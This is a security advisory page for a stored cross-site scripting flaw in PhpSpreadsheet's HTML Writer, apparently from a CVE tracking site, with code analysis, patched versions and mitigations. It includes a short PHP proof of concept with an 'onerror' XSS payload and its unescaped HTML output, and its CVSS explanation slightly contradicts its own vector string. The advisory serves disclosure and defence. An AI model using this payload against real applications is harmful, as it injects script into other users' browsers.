Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
AV:N for network-delivered file; PR:L for required file-submission access; UI:R because victim must load the rendered HTML; S:C for browser scope change with low C and I impact.
Primary rating from Vendor (https://github.com/PHPOffice/PhpSpreadsheet).
CVSS VectorVendor: https://github.com/PHPOffice/PhpSpreadsheet
Lifecycle Timeline
5DescriptionCVE.org
Summary
The HTML Writer in PhpSpreadsheet bypasses htmlspecialchars() output escaping when a cell uses a custom number format containing the @ text placeholder with additional literal text (e.g., @ "items" or "Total: "@). This allows an attacker to inject arbitrary HTML and JavaScript into the generated HTML output by crafting a malicious XLSX file.
Details
1. Conditional escaping in Html.php:1586-1594
$cellData = NumberFormat::toFormattedString(
$origData2,
$formatCode ?? NumberFormat::FORMAT_GENERAL,
[$this, 'formatColor']
);
if ($cellData === $origData) {
$cellData = htmlspecialchars($cellData, Settings::htmlEntityFlags());
}htmlspecialchars() is only called when $cellData === $origData (strict comparison). If the formatted output differs from the original value in any way, escaping is skipped entirely.
2. Early return in Formatter.php:136-152
if (preg_match(self::SECTION_SPLIT, $format) === 0
&& preg_match(self::SYMBOL_AT, $formatx) === 1) {
if (!str_contains($format, '"')) {
return str_replace('@', /* raw value */, $format);
}
return str_replace(/* ... preg_replace with raw value ... */);
}When the format code contains @ with additional literal text (e.g., @ "items"), the formatter substitutes the raw cell value into the format string and returns early - the formatColor callback (which would have applied htmlspecialchars) is never invoked.
PoC
test.php
<?php
require '/app/vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Html;
$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();
$payload = '<img src=x onerror=alert(document.domain)>';
$formatCode = '@ "items"';
$sheet->setCellValue('A1', $payload);
$sheet->getStyle('A1')->getNumberFormat()->setFormatCode($formatCode);
$writer = new Html($spreadsheet);
$html = $writer->generateHTMLAll();
file_put_contents('/app/output.html', $html);
echo "HTML output saved to /app/output.html\n";The produced output contains unescaped data.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="generator" content="PhpSpreadsheet, https://github.com/PHPOffice/PhpSpreadsheet" />
<title>Untitled Spreadsheet</title>
<meta name="author" content="Unknown Creator" />
<meta name="title" content="Untitled Spreadsheet" />
<meta name="lastModifiedBy" content="Unknown Creator" />
<meta name="created" content="2026-04-02T16:34:44+00:00" />
<meta name="modified" content="2026-04-02T16:34:44+00:00" />
<style type="text/css">
[..SNIP..]
</style>
</head>
<body>
<div style='page: page0'>
<table border='0' cellpadding='0' cellspacing='0' id='sheet0' class='sheet0 gridlines'>
<col class="col0" />
<tbody>
<tr class="row0">
<td class="column0 style1 s"><img src=x onerror=alert(document.domain)> items</td>
</tr>
</tbody></table>
</div>
</body>
</html><img width="719" height="716" alt="Screenshot 2026-04-02 at 18 45 53" src="https://github.com/user-attachments/assets/b758b063-a2d1-4e76-87bb-931eae81dbfe" />
Impact
The impact changes based on the way the HTML is served. In case it is served from the web server it is typical XSS, in case the file is downloaded and opened locally, the attack vector is more limited.
AnalysisAI
PhpSpreadsheet's HTML Writer exposes a stored cross-site scripting vulnerability across all major supported version branches through 5.6.0, triggered when spreadsheet cells use custom number formats combining the @ text placeholder with quoted literal strings (e.g., @ "items"). An attacker who can supply a crafted XLSX file to an application that renders it as HTML can inject arbitrary HTML and JavaScript that executes in the browser of any user viewing the output. A functional proof-of-concept is publicly documented in GitHub security advisory GHSA-6wpp-88cp-7q68; however, the vulnerability is not in CISA KEV and EPSS sits at 0.01%, reflecting targeted rather than widespread exploitation at this time.
Technical ContextAI
PhpSpreadsheet (Composer package phpoffice/phpspreadsheet) is a PHP library for reading and writing spreadsheet formats including XLSX, ODS, and CSV. The vulnerability stems from a logic flaw in the interaction between two library components. In Html.php (lines 1586-1594), htmlspecialchars() is applied conditionally only when the formatted cell value strictly equals the raw original value - if the formatter transforms the value in any way, escaping is entirely skipped. In Formatter.php (lines 136-152), when a custom number format contains the @ text placeholder alongside quoted literal text, the formatter substitutes the raw cell value directly into the format string and returns early, bypassing the formatColor callback that would otherwise have triggered HTML escaping. The combination means that cell content containing HTML tags or JavaScript passes through the HTML writer unescaped. This is a CWE-79 (Improper Neutralization of Input During Web Page Generation) defect rooted in a conditional escape guard that fails to account for a legitimate formatter code path.
RemediationAI
Upgrade PhpSpreadsheet to the nearest patched release for the branch in use: 5.7.0 for consumers on the 4.x/5.x branch, 3.10.5 for the 3.x branch, 2.4.5 for the 2.2-2.4 branch, and 2.1.16 for the 2.0-2.1 branch - all confirmed by GitHub advisory GHSA-6wpp-88cp-7q68 package metadata (https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6wpp-88cp-7q68). For applications on the 1.x branch (≤1.30.3), no patched release has been identified - migration to a supported major version is the recommended path. As an immediate compensating control for environments that cannot patch, disable HTML rendering of user-supplied XLSX files and restrict output to non-HTML formats (XLSX, CSV, PDF); this eliminates the affected code path entirely with no functional trade-off for non-browser use cases. Alternatively, pass all PhpSpreadsheet HTML output through a server-side HTML sanitizer such as HTML Purifier before serving to browsers, though this adds latency and sanitizer-bypass risk. Restricting custom number formats at the application layer is not reliably achievable without patching the library.
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-27472
GHSA-6wpp-88cp-7q68